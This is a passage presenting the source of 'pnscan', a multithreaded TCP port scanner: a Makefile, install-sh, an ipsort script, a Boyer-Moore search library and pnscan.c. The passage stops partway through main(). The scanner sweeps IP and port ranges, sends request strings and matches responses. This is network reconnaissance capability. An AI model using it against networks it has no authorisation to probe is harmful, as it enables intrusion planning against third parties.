INSTALL=./install-sh


## Solaris 8 with Gcc 3.0
GSO_CC=gcc -Wall -g -O -pthreads
GSO_LDOPTS=
GSO_LIBS= -lnsl -lsocket

## Solaris 8 with Forte C 6.2
SOL_CC=cc -mt -O
SOL_LDOPTS=
SOL_LIBS= -lpthread -lnsl -lsocket

## Linux 2.4 with Gcc 2.96
LNX_CC=gcc -Wall -g -O
LNX_LDOPTS=-Wl,-s 
LNX_LIBS=-lpthread -lnsl


OBJS = pnscan.o bm.o version.o


default:
	@echo 'Use "make SYSTEM" where SYSTEM may be:'
	@echo '   lnx      (Linux with GCC)'
	@echo '   gso      (Solaris with GCC v3)'
	@echo '   sol      (Solaris with Forte C)'
	@exit 1

lnx linux:
	@$(MAKE) all CC="$(LNX_CC)" LIBS="$(LNX_LIBS)" LDOPTS="$(LNX_LDOPTS)"

gso:
	@$(MAKE) all CC="$(GSO_CC)" LIBS="$(GSO_LIBS)" LDOPTS="$(GSO_LDOPTS)"

sol solaris:
	@$(MAKE) all CC="$(SOL_CC)" LIBS="$(SOL_LIBS)" LDOPTS="$(SOL_LDOPTS)"

all: pnscan

man: pnscan.1 ipsort.1

pnscan.1:	pnscan.sgml
	docbook2man pnscan.sgml

ipsort.1:	ipsort.sgml
	docbook2man ipsort.sgml

pnscan: $(OBJS)
	$(CC) $(LDOPTS) -o pns $(OBJS) $(LIBS)


version:
	(PACKNAME=`basename \`pwd\`` ; echo 'char version[] = "'`echo $$PACKNAME | cut -d- -f2`'";' >version.c)

clean distclean:
	-rm -f *.o *~ pnscan core manpage.* \#*

dist:	distclean version
	(PACKNAME=`basename \`pwd\`` ; cd .. ; $(TAR) cf - $$PACKNAME | $(GZIP) -9 >$$PACKNAME.tar.gz)



install:	install-bin install-man

install-bin: all
	$(INSTALL) -c -m 755 pns $(BINDIR)
	$(INSTALL) -c -m 755 ipsort $(BINDIR)

install-man: man
	$(INSTALL) -c -m 644 pnscan.1 $(MAN1DIR)
	$(INSTALL) -c -m 644 ipsort.1 $(MAN1DIR)


install-all install-distribution: install

Here is the ‘install-sh’ shell script.

#!/bin/sh
#
# install - install a program, script, or datafile
# This comes from X11R5 (mit/util/scripts/install.sh).
#
# Copyright 1991 by the Massachusetts Institute of Technology
#
# Permission to use, copy, modify, distribute, and sell this software and its
# documentation for any purpose is hereby granted without fee, provided that
# the above copyright notice appear in all copies and that both that
# copyright notice and this permission notice appear in supporting
# documentation, and that the name of M.I.T. not be used in advertising or
# publicity pertaining to distribution of the software without specific,
# written prior permission.  M.I.T. makes no representations about the
# suitability of this software for any purpose.  It is provided "as is"
# without express or implied warranty.
#
# Calling this script install-sh is preferred over install.sh, to prevent
# `make' implicit rules from creating a file called install from it
# when there is no Makefile.
#
# This script is compatible with the BSD install script, but was written
# from scratch.  It can only install one file at a time, a restriction
# shared with many OS's install programs.


# set DOITPROG to echo to test this script

# Don't use :- since 4.3BSD and earlier shells don't like it.
doit="${DOITPROG-}"


# put in absolute paths if you don't have them in your path; or use env. vars.

mvprog="${MVPROG-mv}"
cpprog="${CPPROG-cp}"
chmodprog="${CHMODPROG-chmod}"
chownprog="${CHOWNPROG-chown}"
chgrpprog="${CHGRPPROG-chgrp}"
stripprog="${STRIPPROG-strip}"
rmprog="${RMPROG-rm}"
mkdirprog="${MKDIRPROG-mkdir}"

transformbasename=""
transform_arg=""
instcmd="$cpprog"
chmodcmd="$chmodprog 0755"
chowncmd=""
chgrpcmd=""
stripcmd=""
rmcmd="$rmprog -f"
mvcmd="$mvprog"
src=""
dst=""
dir_arg=""

while [ x"$1" != x ]; do
    case $1 in
	-c) instcmd="$cpprog"
	    shift
	    continue;;

	-d) dir_arg=true
	    shift
	    continue;;

	-m) chmodcmd="$chmodprog $2"
	    shift
	    shift
	    continue;;

	-o) chowncmd="$chownprog $2"
	    shift
	    shift
	    continue;;

	-g) chgrpcmd="$chgrpprog $2"
	    shift
	    shift
	    continue;;

	-s) stripcmd="$stripprog"
	    shift
	    continue;;

	-t=*) transformarg=`echo $1 | sed 's/-t=//'`
	    shift
	    continue;;

	-b=*) transformbasename=`echo $1 | sed 's/-b=//'`
	    shift
	    continue;;

	*)  if [ x"$src" = x ]
	    then
		src=$1
	    else
		# this colon is to work around a 386BSD /bin/sh bug
		:
		dst=$1
	    fi
	    shift
	    continue;;
    esac
done

if [ x"$src" = x ]
then
	echo "install:	no input file specified"
	exit 1
else
	true
fi

if [ x"$dir_arg" != x ]; then
	dst=$src
	src=""
	
	if [ -d $dst ]; then
		instcmd=:
		chmodcmd=""
	else
		instcmd=mkdir
	fi
else

# Waiting for this to be detected by the "$instcmd $src $dsttmp" command
# might cause directories to be created, which would be especially bad 
# if $src (and thus $dsttmp) contains '*'.

	if [ -f $src -o -d $src ]
	then
		true
	else
		echo "install:  $src does not exist"
		exit 1
	fi
	
	if [ x"$dst" = x ]
	then
		echo "install:	no destination specified"
		exit 1
	else
		true
	fi

# If destination is a directory, append the input filename; if your system
# does not like double slashes in filenames, you may need to add some logic

	if [ -d $dst ]
	then
		dst="$dst"/`basename $src`
	else
		true
	fi
fi

## this sed command emulates the dirname command
dstdir=`echo $dst | sed -e 's,[^/]*$,,;s,/$,,;s,^$,.,'`

# Make sure that the destination directory exists.
#  this part is taken from Noah Friedman's mkinstalldirs script

# Skip lots of stat calls in the usual case.
if [ ! -d "$dstdir" ]; then
defaultIFS='	
'
IFS="${IFS-${defaultIFS}}"

oIFS="${IFS}"
# Some sh's can't handle IFS=/ for some reason.
IFS='%'
set - `echo ${dstdir} | sed -e 's@/@%@g' -e 's@^%@/@'`
IFS="${oIFS}"

pathcomp=''

while [ $# -ne 0 ] ; do
	pathcomp="${pathcomp}${1}"
	shift

	if [ ! -d "${pathcomp}" ] ;
        then
		$mkdirprog "${pathcomp}"
	else
		true
	fi

	pathcomp="${pathcomp}/"
done
fi

if [ x"$dir_arg" != x ]
then
	$doit $instcmd $dst &&

	if [ x"$chowncmd" != x ]; then $doit $chowncmd $dst; else true ; fi &&
	if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dst; else true ; fi &&
	if [ x"$stripcmd" != x ]; then $doit $stripcmd $dst; else true ; fi &&
	if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dst; else true ; fi
else

# If we're going to rename the final executable, determine the name now.

	if [ x"$transformarg" = x ] 
	then
		dstfile=`basename $dst`
	else
		dstfile=`basename $dst $transformbasename | 
			sed $transformarg`$transformbasename
	fi

# don't allow the sed command to completely eliminate the filename

	if [ x"$dstfile" = x ] 
	then
		dstfile=`basename $dst`
	else
		true
	fi

# Make a temp file name in the proper directory.

	dsttmp=$dstdir/#inst.$$#

# Move or copy the file name to the temp name

	$doit $instcmd $src $dsttmp &&

	trap "rm -f ${dsttmp}" 0 &&

# and set any options; do chmod last to preserve setuid bits

# If any of these fail, we abort the whole thing.  If we want to
# ignore errors from any of these, just make sure not to ignore
# errors from the above "$doit $instcmd $src $dsttmp" command.

	if [ x"$chowncmd" != x ]; then $doit $chowncmd $dsttmp; else true;fi &&
	if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dsttmp; else true;fi &&
	if [ x"$stripcmd" != x ]; then $doit $stripcmd $dsttmp; else true;fi &&
	if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dsttmp; else true;fi &&

# Now rename the file to the real destination.

	$doit $rmcmd -f $dstdir/$dstfile &&
	$doit $mvcmd $dsttmp $dstdir/$dstfile 

fi &&


exit 0

And ‘ipsort’ is a one-line command to sort files using IPv4 addresses like this:

#!/bin/sh
#
# Sort a file using IPv4 addresses in at the beginning of each line
exec sort -t . -k 1,1n -k 2,2n -k 3,3n -k 4,4n "$@"

Next there is a Boyer-Moore string search library (files bm.c and bm.h) with header file:

#ifndef PNSCAN_BM_H
#define PNSCAN_BM_H

#define BM_ASIZE 256 /* Allowed character code values */

typedef struct
{
    int xsize;
    int *bmGs;
    
    int bmBc[BM_ASIZE];
    unsigned char *saved_x;
    int saved_m;

    int icase;
} BM;


extern int
bm_init(BM *bmp,
	unsigned char *x,
	int m,
	int icase);

extern int
bm_search(BM *bmp,
	  unsigned char *y,
	  int n,
	  int (*mfun)(void *buf, int n, int pos));

extern void
bm_destroy(BM *bmp);

#endif

And the main library code is stored in bm.c which is the one below.

/* Boyer-Moore string search as found on the internet using Google */

#include <pthread.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>

#include "bm.h"

#define MAX(a,b) ((a) < (b) ? (b) : (a))



static void
preBmBc(unsigned char *x,
	int m,
	int bmBc[])
{
    int i;
    
    for (i = 0; i < BM_ASIZE; ++i)
	bmBc[i] = m;
    
    for (i = 0; i < m - 1; ++i)
	bmBc[x[i]] = m - i - 1;
}


static void
suffixes(unsigned char *x,
	 int m,
	 int *suff)
{
    int f, g, i;


    f = 0;
    suff[m - 1] = m;
    g = m - 1;
    for (i = m - 2; i >= 0; --i)
    {
	if (i > g && suff[i + m - 1 - f] < i - g)
	    suff[i] = suff[i + m - 1 - f];
	else
	{
	    if (i < g)
		g = i;
	    f = i;
	    while (g >= 0 && x[g] == x[g + m - 1 - f])
		--g;
	    suff[i] = f - g;
	}
    }
}


static int
preBmGs(unsigned char *x, int m, int bmGs[])
{
    int i, j, *suff;


    suff = (int *) calloc(sizeof(int), m);
    if (suff == NULL)
	return -1;
    
    suffixes(x, m, suff);
    
    for (i = 0; i < m; ++i)
	bmGs[i] = m;

    j = 0;
    for (i = m - 1; i >= -1; --i)
	if (i == -1 || suff[i] == i + 1)
	    for (; j < m - 1 - i; ++j)
		if (bmGs[j] == m)
		    bmGs[j] = m - 1 - i;

    for (i = 0; i <= m - 2; ++i)
	bmGs[m - 1 - suff[i]] = m - 1 - i;

    free(suff);
    return 0;
}


int
bm_init(BM *bmp,
	unsigned char *x,
	int m,
	int icase)
{
    int i;


    memset(bmp, 0, sizeof(bmp));

    bmp->icase = icase;
    bmp->bmGs = (int *) calloc(sizeof(int), m);
    if (bmp->bmGs == NULL)
	return -1;
    
    bmp->saved_m = m;
    bmp->saved_x = (unsigned char *) malloc(m);
    if (bmp->saved_x == NULL)
	return -2;
    
    for (i = 0; i < m; i++)
	bmp->saved_x[i] = icase ? tolower(x[i]) : x[i];
    
    /* Preprocessing */
    if (preBmGs(bmp->saved_x, m, bmp->bmGs) < 0)
	return -3;
    
    preBmBc((unsigned char *) bmp->saved_x, m, bmp->bmBc);

    return 0;
}    


void
bm_destroy(BM *bmp)
{
    if (bmp->bmGs)
	free(bmp->bmGs);

    if (bmp->saved_x)
	free(bmp->saved_x);
}



/* Search for matches
**
** If mfun is defined, then call this function for each match.
** If mfun returns anything else but 0 abort the search. If the
** returned value is < 0 then return this value, else return the
** number of matches (so far).
**
** If mfun is NULL then stop at first match and return the position
*/

int
bm_search(BM *bmp,
	  unsigned char *y,
	  int n,
	  int (*mfun)(void *buf, int n, int pos))
{
    int i, j, c;
    int nm = 0;
    

    /* Searching */
    j = 0;
    while (j <= n - bmp->saved_m)
    {
	for (i = bmp->saved_m - 1;
	     i >= 0 && bmp->saved_x[i] == (bmp->icase ? tolower(y[i + j]) : y[i + j]);
	     --i)
	    ;
	
	if (i < 0)
	{
	    if (mfun)
	    {
		++nm;
		
		c = mfun(y, n, j);
		if (c)
		    return (c < 0 ? c : nm);
		
		j += bmp->bmGs[0];
	    }
	    else
		return j;
	}
	else
	{
	    unsigned char c = (bmp->icase ? tolower(y[i + j]) : y[i + j]);

	    j += MAX(bmp->bmGs[i], bmp->bmBc[c] - bmp->saved_m + 1 + i);
	}
    }

    return mfun == NULL ? -1 : nm;
}

#if 0
int
main(int argc,
     char *argv[])
{
    int pos;

    
    bm_setup(argv[1], strlen(argv[1]));

    pos = bm_search(argv[2], strlen(argv[2]));

    printf("Match at pos %d\n", pos);

    exit(0);
}
#endif

And finally we have ‘pnscan.c’ which is a multi-threaded port scanner. Here is its code:


#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <ctype.h>
#include <string.h>
#include <signal.h>
#include <fcntl.h>
#include <poll.h>
#include <netdb.h>
#include <locale.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>

#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>

#include <pthread.h>

#include "bm.h"


#define RESPONSE_MAX_SIZE    1024


extern char version[];

unsigned char *wstr = NULL;
int   wlen = 0;
unsigned char *rstr = NULL;
int   rlen = 0;

int debug = 0;
int verbose = 0;

int stop = 0;

int tworkers = 1;   /* Currently running worker threads */
int mworkers = 1;   /* Peak started concurrent worker threads */
int aworkers = 0;   /* Currently active probing worker threads */
int nworkers = 0;   /* Max concurrent worker threads */

int timeout = 1000; /* ms */
int pr_sym  = 0;
int line_f  = 0;
int use_shutdown = 0;
int maxlen  = 64;


int first_port = 0;
int last_port  = 0;

unsigned long  first_ip = 0x00000000;
unsigned long  last_ip  = 0xFFFFFFFF;

pthread_mutex_t cur_lock;
unsigned long  cur_ip;
int cur_port;

pthread_mutex_t print_lock;

int ignore_case = 0;
BM bmb;
    

void
print_version(FILE *fp)
{
    fprintf(fp, "[PNScan, version %s - %s %s]\n",
	    version,
	    __DATE__, __TIME__);
}


int
get_char_code(unsigned char **cp,
	      int base)
{
    int val = 0;
    int len = 0;
    
    
    while (len < (base == 16 ? 2 : 3) &&
	   ((**cp >= '0' && **cp < '0'+(base > 10 ? 10 : base)) ||
	    (base >= 10 && toupper(**cp) >= 'A' && toupper(**cp) < 'A'+base-10)))
    {
	val *= base;

	if (**cp >= '0' && **cp < '0'+(base > 10 ? 10 : base))
	    val += **cp - '0';
	else if (base >= 10 &&
		 toupper(**cp) >= 'A' && toupper(**cp) < 'A'+base-10)
	    val += toupper(**cp) - 'A' + 10;

	++*cp;
	++len;
    }

    return val & 0xFF;
}


int
dehex(unsigned char *str)
{
    unsigned char *wp, *rp;
    int val;


    rp = wp = str;

    while (*rp)
    {
	while (*rp && isspace(* (unsigned char *) rp))
	    ++rp;

	if (*rp == '\0')
	    break;
	
	if (!isxdigit(* (unsigned char *) rp))
	    return -1;
	
	val = get_char_code(&rp, 16);
	*wp++ = val;
    }

    *wp = '\0';
    return wp - str;
}


    
int
deslash(unsigned char *str)
{
    unsigned char *wp, *rp;

    
    rp = wp = str;

    while (*rp)
    {
	if (*rp != '\\')
	    *wp++ = *rp++;
	else
	{
	    switch (*++rp)
	    {
	      case 'n':
		*wp++ = 10;
		++rp;
		break;

	      case 'r':
		*wp++ = 13;
		++rp;
		break;

	      case 't':
		*wp++ = 9;
		++rp;
		break;

	      case 'b':
		*wp++ = 8;
		++rp;
		break;

	      case 'x':
		++rp;
		*wp++ = get_char_code(&rp, 16);
		break;
		
	      case '0':
		*wp++ = get_char_code(&rp, 8);
		break;
		
	      case '1':
	      case '2':
	      case '3':
	      case '4':
	      case '5':
	      case '6':
	      case '7':
	      case '8':
	      case '9':
		*wp++ = get_char_code(&rp, 10);
		break;

	      default:
		*wp++ = *rp++;
		break;
	    }
	}
    }

    *wp = '\0';

    return wp-str;
}



void
print_host(FILE *fp,
	   struct in_addr in,
	   int port)
{
    struct hostent *hep = NULL;

    
    if (pr_sym)
    {
	hep = gethostbyaddr((const char *) &in, sizeof(in), AF_INET);
	fprintf(fp, "%-15s : %-40s : %5d",
		inet_ntoa(in), hep ? hep->h_name : "(unknown)", port);
    }
    else
	fprintf(fp, "%-15s : %5d", inet_ntoa(in), port);
}


int
t_write(int fd,
	unsigned char *buf,
	int len)
{
    int tw, wl, code;
    struct pollfd pfd;


    tw = len;
    while (tw > 0)
    {
	pfd.fd = fd;
	pfd.events = POLLOUT;
	pfd.revents = 0;
	
	while ((code = poll(&pfd, 1, timeout)) < 0 && errno == EINTR)
	    errno = 0;

	if (code == 0)
	{
	    code = -1;
	    errno = ETIMEDOUT;
	}
	
	while ((wl = write(fd, buf, tw)) < 0 && errno == EINTR)
	    ;
	
	if (wl < 0)
	    return wl;

	tw -= wl;
	buf += wl;
    }

    return len;
}


int
t_read(int fd,
       unsigned char *buf,
       int size)
{
    int len, code;
    struct pollfd pfd;


    pfd.fd = fd;
    pfd.events = POLLIN;
    pfd.revents = 0;
    
    while ((code = poll(&pfd, 1, timeout)) < 0 && errno == EINTR)
	errno = 0;
    
    if (code == 0)
    {
	errno = ETIMEDOUT;
	return -1;
    }
    
    while ((len = read(fd, buf, size)) < 0 && errno == EINTR)
	;
    
    return len;
}

int
is_text(unsigned char *cp, int slen)
{
    while (slen > 0 && (isprint(*cp) || *cp == '\0' || *cp == '\t' || *cp == '\n' || *cp == '\r'))
    {
	--slen;
	++cp;
    }

    return slen == 0;
}


int
print_output(unsigned char *str, int slen)
{
    unsigned char *cp = str;
    int len;
    

    len = 0;
    
    if (str == NULL)
    {
	printf("NULL");
	return len;
    }


    if (slen >= 2 && cp[0] == IAC && cp[1] >= xEOF)
    {
	printf("TEL : ");

	while (len < slen && len < maxlen)
	{
	    if (*cp == IAC)
	    {
		++len;
		
		printf("<IAC>");
		switch (*++cp)
		{
		  case 0:
		    return len;

		  case DONT:
		    printf("<DONT>");
		    break;

		  case DO:
		    printf("<DO>");
		    break;

		  case WONT:
		    printf("<WONT>");
		    break;

		  case WILL:
		    printf("<WILL>");
		    break;

		  case SB:
		    printf("<SB>");
		    break;

		  case GA:
		    printf("<GA>");
		    break;

		  case EL:
		    printf("<EL>");
		    break;

		  case EC:
		    printf("<EC>");
		    break;

		  case AYT:
		    printf("<AYT>");
		    break;

		  case AO:
		    printf("<AO>");
		    break;

		  case IP:
		    printf("<IP>");
		    break;

		  case BREAK:
		    printf("<BREAK>");
		    break;

		  case DM:
		    printf("<DM>");
		    break;

		  case NOP:
		    printf("<NOP>");
		    break;

		  case SE:
		    printf("<SE>");
		    break;

		  case EOR:
		    printf("<EOR>");
		    break;

		  case ABORT:
		    printf("<ABORT>");
		    break;

		  case SUSP:
		    printf("<SUSP>");
		    break;
		    
		  case xEOF:
		    printf("<xEOF>");
		    break;

		  default:
		    printf("<0x%02X>", *cp);
		}
	    }
	    
	    else if (isprint(*cp))
		putchar(*cp);
	    
	    else
	    {
		switch (*cp)
		{
		  case '\n':
		    if (line_f)
			return len;

		    printf("\\n");
		    break;
		    
		  case '\r':
		    if (line_f)
			return len;
		    
		    printf("\\r");
		    break;
		    
		  case '\t':
		    printf("\\t");
		    break;

		  case '\0':
		    printf("\\0");
		    break;
		    
		  default:
		    printf("\\x%02X", *cp);
		}
	    }

	    ++len;
	    ++cp;
	}
    }

    else if (is_text(str, slen))
    {
	printf("TXT : ");
    
	while (len < slen && len < maxlen)
	{
	    if (isprint(* (unsigned char *) str))
		putchar(*str);
	    else
		switch (*str)
		{
		  case '\0':
		    printf("\\0");
		    break;
		    
		  case '\n':
		    if (line_f)
			return len;
		    printf("\\n");
		    break;
		    
		  case '\r':
		    if (line_f)
			return len;
		    printf("\\r");
		    break;
		    
		  case '\t':
		    printf("\\t");
		    break;
		    
		  default:
		    printf("\\x%02x", * (unsigned char *) str);
		}

	    ++len;
	    ++str;
	}
    }
    
    else
    {
	printf("HEX :");
	while (len < slen && len < maxlen)
	{
	    printf(" %02x", * (unsigned char *) str);
	    ++len;
	    ++str;
	}
    }

    return len;
}



int
probe(unsigned long addr,
      int port)
{
    int fd, code, len;
    struct sockaddr_in sin;
    unsigned char buf[RESPONSE_MAX_SIZE];
    struct pollfd pfd;
    

    fd = socket(AF_INET, SOCK_STREAM, 0);
    if (fd < 0)
	return -1;

    memset(&sin, 0, sizeof(sin));

    sin.sin_family = AF_INET;
    sin.sin_port = htons(port);

    sin.sin_addr.s_addr = htonl(addr);

    code = fcntl(fd, F_GETFL, 0);
    if (code < 0)
    {
	close(fd);
	return -1;
    }

#ifdef FNDELAY
    code = fcntl(fd, F_SETFL, code|FNDELAY);
#else
    code = fcntl(fd, F_SETFL, code|O_NONBLOCK);
#endif
    if (code < 0)
    {
	close(fd);
	return -1;
    }
    
    while ((code = connect(fd,
			   (struct sockaddr *) &sin, sizeof(sin))) < 0 &&
	   errno == EINTR)
	errno = 0;
    
    if (code < 0 && errno == EINPROGRESS)
    {
	pfd.fd = fd;
	pfd.events = POLLOUT;
	pfd.revents = 0;
	
	while ((code = poll(&pfd, 1, timeout)) < 0 && errno == EINTR)
	    errno = 0;

	if (code == 0)
	{
	    code = -1;
	    errno = ETIMEDOUT;
	}
    }
    
    if (code < 0)
    {
	if (verbose)
	{
	    pthread_mutex_lock(&print_lock);
	    
	    print_host(stderr, sin.sin_addr, port);
	    fprintf(stderr, " : ERR : connect() failed: %s\n", strerror(errno));
	    
	    pthread_mutex_unlock(&print_lock);
	}
	
	close(fd);
	return 0;
    }

    if (wstr)
    {
	code = t_write(fd, wstr, wlen);
	if (code < 0)
	{
	    if (verbose)
	    {
		pthread_mutex_lock(&print_lock);
		
		print_host(stderr, sin.sin_addr, port);
		fprintf(stderr, " : ERR : write() failed: %s\n", strerror(errno));
		
		pthread_mutex_unlock(&print_lock);
	    }

	    close(fd);
	    return 0;
	}
    }

    if (use_shutdown)
	shutdown(fd, 1);

    while ((len = t_read(fd, buf, sizeof(buf)-1)) < 0 && errno == EINTR)
	;

    if (len < 0)
    {
	if (verbose)
	{
	    pthread_mutex_lock(&print_lock);
	    
	    print_host(stderr, sin.sin_addr, port);
	    fprintf(stderr, " : ERR : read() failed: %s\n", strerror(errno));
	    
	    pthread_mutex_unlock(&print_lock);
	}
	
	close(fd);
	return -1;
    }

    buf[len] = '\0';
	    
    if (rstr)
    {
	int pos;

	pos = bm_search(&bmb, buf, len, NULL);

	if (pos >= 0)
	{
	    if (line_f)
		while (pos > 0 &&
		       !(buf[pos-1] == '\n' || buf[pos-1] == '\r'))
		    --pos;
	    
	    pthread_mutex_lock(&print_lock);
	    
	    print_host(stdout, sin.sin_addr, port);
	    printf(" : ");

	    print_output(buf+pos, len-pos);
	    putchar('\n');
	    
	    pthread_mutex_unlock(&print_lock);
	}
    }
    else
    {
	pthread_mutex_lock(&print_lock);
	
	print_host(stdout, sin.sin_addr, port);
	printf(" : ");
	print_output(buf, len);
	putchar('\n');
	
	pthread_mutex_unlock(&print_lock);
    }
    
    close(fd);
    return 1;
}


void *
r_worker(void *arg)
{
    unsigned long addr;
    int port;
    pthread_t tid;
    
    
    pthread_mutex_lock(&cur_lock);
	
    while (!stop)
    {
	if (cur_ip <= last_ip)
	{
	    port = cur_port;
	    addr = cur_ip++;
	}
	else
	{
	    if (cur_port >= last_port)
	    {
		stop = 1;
		break;
	    }
	    
	    port = ++cur_port;
	    addr = cur_ip = first_ip;
	}

	if (aworkers >= tworkers-1 && tworkers < nworkers)
	{
	    ++tworkers;

	    if (pthread_create(&tid, NULL, r_worker, NULL) != 0)
	    {
		--tworkers;
		nworkers = tworkers;
	    }
	    
	    if (tworkers > mworkers)
		mworkers = tworkers;
	}

	++aworkers;
	pthread_mutex_unlock(&cur_lock);

	probe(addr, port);
	
	pthread_mutex_lock(&cur_lock);
	--aworkers;
    }

    --tworkers;
    
    pthread_mutex_unlock(&cur_lock);
    fflush(stdout); 
    return NULL;
}


int
get_host(char *str,
	 unsigned long *ip)
{
    struct hostent *hep;
    unsigned long tip;


    hep = gethostbyname(str);
    if (hep && hep->h_addr_list &&hep->h_addr_list[0])
    {
	tip = * (unsigned long *) (hep->h_addr_list[0]);
	*ip = ntohl(tip);
	return 1;
    }

    return inet_pton(AF_INET, str, ip);
}


int
get_service(char *str,
	    int *pp)
{
    struct servent *sep;


    sep = getservbyname(str, "tcp");
    if (sep)
    {
	*pp = ntohs(sep->s_port);
	return 1;
    }

    if (sscanf(str, "%u", pp) != 1)
	return -1;

    if (*pp < 1 || *pp > 65535)
	return 0;

    return 1;
}

void *
f_worker(void *arg)
{
    unsigned long addr;
    int port, code;
    char buf[1024];
    char *host;
    char *serv;
    char *tokp;
    pthread_t tid;
    
    
    pthread_mutex_lock(&cur_lock);
    
    while (!stop)
    {
	if (fgets(buf, sizeof(buf), stdin) == NULL)
	{
	    if (debug)
		fprintf(stderr, "*** GOT EOF ***\n");
	    
	    stop = 1;
	    break;
	}

	host = strtok_r(buf, " \t\n\r", &tokp);
	serv = strtok_r(NULL, " \t\n\r", &tokp);
	
	if (host == NULL || host[0] == '#')
	    continue;
	
	if (get_host(host, &addr) != 1)
	{
	    if (verbose)
		fprintf(stderr, "%s: invalid host\n", host);
	    continue;
	}
	
	if (serv == NULL)
	{
	    if (first_port == 0)
	    {
		if (verbose)
		    fprintf(stderr, "%s: missing service specification\n",
			    host);
		continue;
	    }

	    port = first_port;
	}
	else
	{
	    code = get_service(serv, &port);
	    if (code != 1)
	    {
		if (verbose)
		    fprintf(stderr, "%s: invalid service (code=%d)\n", serv, code);
		continue;
	    }
	}
	
	if (aworkers >= tworkers-1 && tworkers < nworkers)
	{
	    ++tworkers;
	    
	    if (pthread_create(&tid, NULL, f_worker, NULL) != 0)
	    {
		--tworkers;
		nworkers = tworkers;
	    }

	    if (tworkers > mworkers)
		mworkers = tworkers;
	}

	++aworkers;
	pthread_mutex_unlock(&cur_lock);
	
	probe(addr, port);
	
	pthread_mutex_lock(&cur_lock);
	--aworkers;
    }

    --tworkers;
    
    pthread_mutex_unlock(&cur_lock);
    fflush(stdout); 
    return NULL;
}


char *argv0 = "pnscan";


void
usage(FILE *out)
{
 /*   fprintf(out, "Usage: %s [<options>] [{<CIDR>|<host-range> <port-range>} | <service>]\n", argv0);

   fputs("\n\
This program implements a multithreaded TCP port scanner.\n\
More information may be found at:\n\
\thttp://www.lysator.liu.se/~pen/pnscan\n\
\n\
Command line options:\n", out);
    
    fprintf(out, "\t-h             Display this information.\n");
    fprintf(out, "\t-V             Print version.\n");
    fprintf(out, "\t-v             Be verbose.\n");
    fprintf(out, "\t-d             Print debugging info.\n");
    fprintf(out, "\t-s             Lookup and print hostnames.\n");
    fprintf(out, "\t-i             Ignore case when scanning responses.\n");
    fprintf(out, "\t-S             Enable shutdown mode.\n");
    fprintf(out, "\t-l             Line oriented output.\n");
    fprintf(out, "\t-w<string>     Request string to send.\n");
    fprintf(out, "\t-W<hex list>   Hex coded request string to send.\n");
    fprintf(out, "\t-r<string>     Response string to look for.\n");
    fprintf(out, "\t-R<hex list>   Hex coded response string to look for.\n");
    fprintf(out, "\t-L<length>     Max bytes to print.\n");
    fprintf(out, "\t-t<msecs>      Connect/Write/Read timeout.\n");
    fprintf(out, "\t-n<workers>    Concurrent worker threads limit.\n");
 */

}
    

int
get_network(char *str,
	    unsigned long *np)
{
    struct netent *nep;
    struct in_addr ia;
    

    nep = getnetbyname(str);
    if (nep)
    {
	ia = inet_makeaddr(nep->n_net, 0);
	*np = ntohl(ia.s_addr);
	return 1;
    }

    return inet_pton(AF_INET, str, np);
}


int
get_ip_range(char *str,
	     unsigned long *first_ip,
	     unsigned long *last_ip)
{
    char first[1024], last[1024];
    int len;
    unsigned long ip;
    unsigned long mask = 0;
    

    if (sscanf(str, "%1023[^/ ] / %u", first, &len) == 2)
    {
	/* CIDR */

	if (get_network(first, &ip) != 1 || len < 0 || len > 32)
	    return -1;

	ip = ntohl(ip);
	
	*first_ip = ip+1;

	len = 32-len;
	while (len-- > 0)
	    mask = ((mask << 1)|1);

	*last_ip = (ip|mask)-1;
	return 2;
    }

    switch (sscanf(str, "%1023[^: ] : %1023s", first, last))
    {
      case 1:
	if (get_host(first, first_ip) != 1)
	    return -1;

	*last_ip = *first_ip;
	return 1;

      case 2:
	if (get_host(first, first_ip) != 1)
	    return -1;

	if (get_host(last, last_ip) != 1)
	    return -1;

	return 2;
    }
    
    return -1;
}


int
get_port_range(char *str,
	       int *first_port,
	       int *last_port)
{
    char first[256], last[256];


    switch (sscanf(str, "%255[^: ] : %255s", first, last))
    {
      case 1:
	if (strcmp(first, "all") == 0)
	{
	    *first_port = 1;
	    *last_port  = 65535;
	    return 2;
	}
	
	if (get_service(first, first_port) != 1)
	    return -1;

	*last_port = *first_port;
	return 1;

      case 2:
	if (get_service(first, first_port) != 1)
	    return -1;

	if (get_service(last, last_port) != 1)
	    return -1;

	return 2;
    }
    
    return -1;
}



void
e_fun(void)
{
    printf("mworkers = %d, tworkers = %d, aworkers = %d, nworkers = %d\n",
	   mworkers, tworkers, aworkers, nworkers);
}


int
main(int argc,
     char *argv[])
{
    int i, j;
    struct rlimit rlb;
    char *arg;
    
    
    argv0 = argv[0];

    setlocale(LC_CTYPE, "");

    first_port = 0;
    last_port = 0;
    
    getrlimit(RLIMIT_NOFILE, &rlb);
    rlb.rlim_cur = rlb.rlim_max;
    setrlimit(RLIMIT_NOFILE, &rlb);

    signal(SIGPIPE, SIG_IGN);
    
    nworkers = rlb.rlim_cur - 8;

    if (nworkers > 1024)
	nworkers = 1024;

    pthread_mutex_init(&cur_lock, NULL);
    pthread_mutex_init(&print_lock, NULL);

    for (i = 1; i < argc && argv[i][0] == '-'; i++)
	for (j = 1; j > 0 && argv[i][j]; ++j)
	    switch (argv[i][j])
	    {
	      case '-':
		++i;
		goto EndOptions;
		
	      case 'V':
		print_version(stdout);
		break;

	      case 'd':
		++debug;
		break;

	      case 'i':
		ignore_case = 1;
		break;
		
	      case 'v':
		++verbose;
		break;
		
	      case 'h':
		usage(stdout);
		exit(0);
		
	      case 'l':
		++line_f;
		break;
		
	      case 's':
		++pr_sym;
		break;
		
	      case 'S':
		++use_shutdown;
		break;
		
	      case 'w':
		if (argv[i][2])
		    wstr = (unsigned char *) strdup(argv[i]+2);
		else
		    wstr = (unsigned char *) strdup(argv[++i]);
		
		wlen = deslash(wstr);
		j = -2;
		break;

	      case 'W':
		if (argv[i][2])
		    wstr = (unsigned char *) strdup(argv[i]+2);
		else
		    wstr = (unsigned char *) strdup(argv[++i]);
		wlen = dehex(wstr);
		j = -2;
